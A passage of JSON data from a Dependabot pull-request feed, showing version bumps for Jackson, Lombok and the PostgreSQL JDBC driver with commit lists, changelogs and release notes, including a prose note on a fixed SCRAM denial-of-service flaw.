view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-annotations` from 2.15.0 to 2.22.0\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/d763562443cc9d6e224a6265ca3710195c813cf5\"\u003e\u003ccode\u003ed763562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/e5c69fe5f7be957490d52dae70787e7a8138ddda\"\u003e\u003ccode\u003ee5c69fe\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ba6a369eaa19a71b2b63fe40b1e9d317c0eb522\"\u003e\u003ccode\u003e0ba6a36\u003c/code\u003e\u003c/a\u003e Bump version after release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/b106011025f6447695e21ddbb9fd3952d284d10c\"\u003e\u003ccode\u003eb106011\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/18a7fe416a0bf666f6c2ddc6da883bc96382dd2d\"\u003e\u003ccode\u003e18a7fe4\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/503a14ffa4a74ad56a02fd25f0cd997df163c647\"\u003e\u003ccode\u003e503a14f\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/ab95bc0056119f08ef721849be5e5f2c256b82cd\"\u003e\u003ccode\u003eab95bc0\u003c/code\u003e\u003c/a\u003e ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0a4b8dedee08e159fddca5eb8e812c1ad881017a\"\u003e\u003ccode\u003e0a4b8de\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/719a42f3676ab3c10e3cd057966807b2206151e7\"\u003e\u003ccode\u003e719a42f\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/92488484b64bc348c43e5a7ff910d93c2f9e9b9c\"\u003e\u003ccode\u003e9248848\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.15.0...jackson-core-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-xml` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c702ae0cd9870cb7415fb09d9b22412db78b972\"\u003e\u003ccode\u003e4c702ae\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e6a9a509481c03c4cdd2e4bc7745a076bbf06942\"\u003e\u003ccode\u003ee6a9a50\u003c/code\u003e\u003c/a\u003e Prep for 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/80735f20d588dc859ff2bf9427f0d6dfb5c71a7e\"\u003e\u003ccode\u003e80735f2\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5e5f3faa1232ad49c0a0ff0a3e7bd96cc659f850\"\u003e\u003ccode\u003e5e5f3fa\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c482a6404e6c076130ea2fa3d06e0809f20971d\"\u003e\u003ccode\u003e4c482a6\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e29dfd957b47ec3982d20c4a97aa608516ce5ee9\"\u003e\u003ccode\u003ee29dfd9\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.21.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5d81f46097903e1e88b90ef06515d559caf1ef68\"\u003e\u003ccode\u003e5d81f46\u003c/code\u003e\u003c/a\u003e Prep for 2.21.4 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5db34fe1003e7f6bed78d5e7dc43c75842895f4c\"\u003e\u003ccode\u003e5db34fe\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/a12b8dfd547b08f808b4189746e00bb203ab08c1\"\u003e\u003ccode\u003ea12b8df\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/7ae7fdbb007ac18c44bddb7515becc1789830db5\"\u003e\u003ccode\u003e7ae7fdb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/compare/jackson-dataformat-xml-2.15.0...jackson-dataformat-xml-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-annotations` from 2.15.0 to 2.22.0\n\nUpdates `org.apache.commons:commons-collections4` from 4.4 to 4.5.0\n\nUpdates `org.projectlombok:lombok` from 1.18.20 to 1.18.46\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/projectlombok/lombok/blob/master/doc/changelog.markdown\"\u003eorg.projectlombok:lombok's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch3\u003ev1.18.46 (April 22nd, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK26 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4019\"\u003e#4019\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePLATFORM: Spring Tools Suite 5 supported \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3985\"\u003e#3985\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e no longer stops generating \u003ccode\u003e@JsonProperty\u003c/code\u003e once an explicit \u003ccode\u003e@JsonIgnore\u003c/code\u003e annotations is encountered \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4022\"\u003e#4022\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: In eclipse, mixing \u003ccode\u003e@Jacksonized\u003c/code\u003e and \u003ccode\u003efluent = true\u003c/code\u003e no longer causes the error \u003ccode\u003ecom.fasterxml.jackson.annotation.JsonProperty is not a repeatable annotation interface\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3934\"\u003e#3934\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Some finishing touches for v1.18.44's support of Jackson3 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.44 (March 11th, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Jacksonized\u003c/code\u003e now supports both Jackson2 and Jackson3; you'll get a warning until you configure which one (or even both!) you want lombok to generate. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3950\"\u003e#3950\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: On JDK25, \u003ccode\u003eval\u003c/code\u003e and \u003ccode\u003e@ExtensionMethod\u003c/code\u003e could sometimes cause erroneous errors (in that you see errors but compilation succeeds anyway) using javac. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3947\"\u003e#3947\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e + fields marked \u003ccode\u003etransient\u003c/code\u003e would result in those transient fields being serialised which is surprising (and thus undesired) behaviour. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3936\"\u003e#3936\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.42 (September 18th, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFEATURE: All the various \u003ccode\u003e@Log\u003c/code\u003e annotations now allow you to change their access level (they still default to \u003ccode\u003eprivate\u003c/code\u003e). \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2280\"\u003e#2280\u003c/a\u003e. Thanks to new contributor Liam Pace!\u003c/li\u003e\n\u003cli\u003eBUGFIX: Javadoc parsing was broken in Netbeans and ErrorProne for JDK25 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3940\"\u003e#3940\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.40 (September 4th, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK25 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3859\"\u003e#3859\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Recent versions of eclipse (or the eclipse-based java lang server for VSCode) caused \u003ccode\u003ejava.lang.IllegalArgumentException: Document does not match the AST\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3886\"\u003e#3886\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3886\"\u003eprojectlombok/lombok#3886\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePERFORMANCE: \u003ccode\u003e@ExtensionMethod\u003c/code\u003e is now significantly faster [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3866\"\u003e#3866\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3866\"\u003eprojectlombok/lombok#3866\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: the command line \u003ccode\u003econfig\u003c/code\u003e tool would emit incorrect output for nullity annotations. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3931\"\u003e#3931\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3931\"\u003eprojectlombok/lombok#3931\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Jacksonized @Accessors(fluent=true)\u003c/code\u003e automatically creates the relevant annotations such that Jackson correctly identifies fluent accessors. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3265\"\u003e#3265\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3265\"\u003eprojectlombok/lombok#3265\u003c/a\u003e), [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3270\"\u003e#3270\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3270\"\u003eprojectlombok/lombok#3270\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: From versions 1.18.16 to 1.18.38, lombok automatically copies certain Jackson annotations (e.g., \u003ccode\u003e@JsonProperty\u003c/code\u003e) from fields to the corresponding accessors (getters/setters). However, it turned out to be harmful in certain situations. Thus, Lombok does not automatically copy those annotations any more. You can restore the old behavior using the \u003ca href=\"https://projectlombok.org/features/configuration\"\u003econfig key\u003c/a\u003e \u003ccode\u003elombok.copyJacksonAnnotationsToAccessors = true\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.38 (March 31st, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK24 support added.\u003c/li\u003e\n\u003cli\u003eFEATURE: Lombok's nullity annotation now supports \u003ca href=\"https://jspecify.dev\"\u003eJSpecify\u003c/a\u003e out of the box, using \u003ca href=\"https://projectlombok.org/features/configuration\"\u003econfig key\u003c/a\u003e \u003ccode\u003ejspecify\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Recent eclipse releases would get you 'negative length' error. The bug had always been in lombok but didn't matter until recent releases. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3823\"\u003e#3823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3823\"\u003eprojectlombok/lombok#3823\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: The 'extract local variable' refactor script of VSCode wouldn't replace all occurrences if run on a method call to a lombok generated method. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3783\"\u003e#3783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3783\"\u003eprojectlombok/lombok#3783\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.36 (November 15th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK23 support added.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Eclipse projects using the \u003ccode\u003ecom.pro-crafting.tools:jasperreports-maven-plugin\u003c/code\u003e will now compile.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.34 (June 28th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: Added support for Eclipse 2024-06; you'd get some \u003ccode\u003eNoSuchMethodError\u003c/code\u003e traces in your logs if using \u003ccode\u003e@Builder\u003c/code\u003e or \u003ccode\u003e@Singular\u003c/code\u003e prior to this fix. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3638\"\u003e#3638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3638\"\u003eprojectlombok/lombok#3638\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: Lombok now adds \u003ccode\u003e@lombok.Generated\u003c/code\u003e by default to methods and types it generates. This may result in accidentally increasing your test coverage percentage. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3667\"\u003e#3667\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3667\"\u003eprojectlombok/lombok#3667\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: When \u003ccode\u003elombok.config\u003c/code\u003e contains \u003ccode\u003elombok.onX.flagUsage = WARNING\u003c/code\u003e, from now on warnings will actually be generated if onX is used.[Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2848\"\u003e#2848\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2848\"\u003eprojectlombok/lombok#2848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBUGFIX: When \u003ccode\u003e@SuperBuilder\u003c/code\u003e was used on a type with an generic array type, it would error \u003ccode\u003ewrong number of type arguments\u003c/code\u003e.  [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3694\"\u003e#3694\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3694\"\u003eprojectlombok/lombok#3694\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: Lombok generates javadoc for you for most of the methods it adds; with this release, javadoc is also added to generated constructors. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/933\"\u003e#933\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/933\"\u003eprojectlombok/lombok#933\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.32 (March 20th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: Initial JDK22 support added.\u003c/li\u003e\n\u003cli\u003ePLAFTORM  Added support for Eclipse 2024-03. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3620\"\u003e#3620\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3620\"\u003eprojectlombok/lombok#3620\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePLATFORM: Added support for recent versions of eclipse (released Q4 2023 or later or so) which would cause failures in the eclipse logs such as \u003ccode\u003ejava.lang.NoSuchMethodError: 'java.lang.StringBuffer org.eclipse.jdt…\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3564\"\u003e#3564\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3564\"\u003eprojectlombok/lombok#3564\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Locked\u003c/code\u003e has been introduced. Like \u003ccode\u003e@Synchronized\u003c/code\u003e but with \u003ccode\u003ejava.util.concurrent.locks\u003c/code\u003e locks instead of the \u003ccode\u003esynchronized\u003c/code\u003e primitive. Thanks, Pim van der Loos for the PR! [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3506\"\u003e#3506\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3506\"\u003eprojectlombok/lombok#3506\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eNECROMANCY: Inlining a generated getter in eclipse would result in eclipse incorrectly replacing calls with \u003ccode\u003e@Getter\u003c/code\u003e instead of the actual field's name. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/562\"\u003e#562\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/562\"\u003eprojectlombok/lombok#562\u003c/a\u003e). This issue is almost old enough to drink. Points for dedication go to Rawi for fixing this one.\u003c/li\u003e\n\u003cli\u003eBUGFIX: When \u003ccode\u003e@SuperBuilder\u003c/code\u003e was used on a type with an annotated generic type, it would error \u003ccode\u003ewrong number of type arguments\u003c/code\u003e.  [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3592\"\u003e#3592\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3592\"\u003eprojectlombok/lombok#3592\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: It was possible to create an infinite build loop using \u003ccode\u003e@ExtensionMethod\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3225\"\u003e#3225\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3225\"\u003eprojectlombok/lombok#3225\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: Using \u003ccode\u003e@Getter(lazy=true)\u003c/code\u003e would fail if the expression contained a variable called \u003ccode\u003evalue\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2917\"\u003e#2917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2917\"\u003eprojectlombok/lombok#2917\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/936ca59baf844fd6c0ad641974295498785d8091\"\u003e\u003ccode\u003e936ca59\u003c/code\u003e\u003c/a\u003e [build] lombok's launcher is still intended to be 1.4 compatible, or at least...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/fcdab3f29e1b48...\n\n_Description has been truncated_","html_url":"https://github.com/AOT-Technologies/forms-flow-ai/pull/3317","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AOT-Technologies%2Fforms-flow-ai/issues/3317","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3317/packages"}},{"old_version":"42.7.8","new_version":"42.7.11","update_type":"patch","path":"/platform","pr_created_at":"2026-06-03T23:02:05.000Z","version_change":"42.7.8 → 42.7.11","issue":{"uuid":"4584292555","node_id":"PR_kwDORxGGis7icua6","number":402,"state":"open","title":"chore(deps-backend): bump org.postgresql:postgresql from 42.7.8 to 42.7.11 in /platform","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-03T23:02:05.000Z","updated_at":"2026-06-03T23:02:06.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-backend)","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/platform","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.8 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug 